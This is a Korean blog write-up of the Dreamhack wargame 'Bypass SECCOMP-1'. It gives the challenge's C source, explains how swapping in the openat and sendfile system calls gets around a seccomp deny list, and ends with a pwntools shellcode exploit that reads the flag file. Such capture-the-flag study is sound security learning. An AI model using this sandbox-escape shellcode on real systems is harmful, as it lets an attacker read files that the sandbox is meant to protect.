ENFJ_Blog
Bypass Seccomp-1 (wargame) 본문
https://dreamhack.io/wargame/challenges/361
Bypass SECCOMP-1
Description Exploit Tech: Bypass SECCOMP에서 실습하는 문제입니다. Challenge Updates 2023.04.27: Ubuntu 22.04 환경으로 업데이트되었습니다.
dreamhack.io
C언어 코드
// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
먼저 코드를 확인해보면 input으로 0x1000 크기 만큼 shellcode라는 변수에 값을 받고 sandbox를 적용한 뒤 실행하는 코드이다.
seccomp에는 deny list로 open, execve, execveat, write를 정의한다.
이것을 우회하는 방법은 여러가지가 존재할 수 있다.
그 중 1가지 방법으로 할 것이다.
이 방법은 excve 쉘코드가 막혀 있기 때문에 우리가 원하는 파일의 위치와 이름을 찾고 orw 쉘코드를 사용하는 것이다. orw 쉘코드에서 open과 write는 막혔지만, 그 대체로 사용할 수 있는 시스템 콜도 존재한다. open 대신에는 opennat을, write 대신에는 sendfile 시스템 콜을 활용해서 내용을 출력할 수 있다.
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
시스템 콜들의 인자값은 이렇게 되어 있다.
openat 같은 경우는 dirfd를 무시하기 위해 pathname을 절대 경로로 명시할 것이다
sendfile은 읽을 파일의 파일 디스크립터를 in_fd에 삽입하고, stdout의 파일 디스크립터를 out_fd에 삽입하여 내용을 읽는다.
그리고 절대 경로로 명시해야 하기 때문에 flag 파일의 위치를 찾아야 하는데 Dockerfile을 보게 되면
가 존재한다
위와 같은 사실을 통해서 flag는 home 안에 bypass_seccomp라는 user 디렉토리 안에 존재한다는 것을 알 수 있다.
그래서 절대 경로로 orw 쉘코드를 작성하게 되면,
from pwn import *
context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 10045)
shellcode = shellcraft.openat(0, "/home/bypass_seccomp/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
위와 같이 쉘코드를 작성할 수 있다.
몰랐던 사실 하나를 알게 되었는데 execl로 우회 안되나? 싶었는데 알고 보니 execl 과 같은 exec 계열은 C언어의 함수이기에 시스템 콜 번호는 execve와 똑같다고 한다.
'Pwn' 카테고리의 다른 글
Adobe Acrobat 1-day vulnerability CVE-2021-39863 (2) | 2024.07.27 |
---|---|
SECCOMP (0) | 2024.07.15 |
[White Hat School] a_piece_of_pie (0) | 2024.03.28 |
[dreamhack wargame] Gaia문제 (0) | 2024.01.25 |
Use-After-Free(UAF) (0) | 2023.10.20 |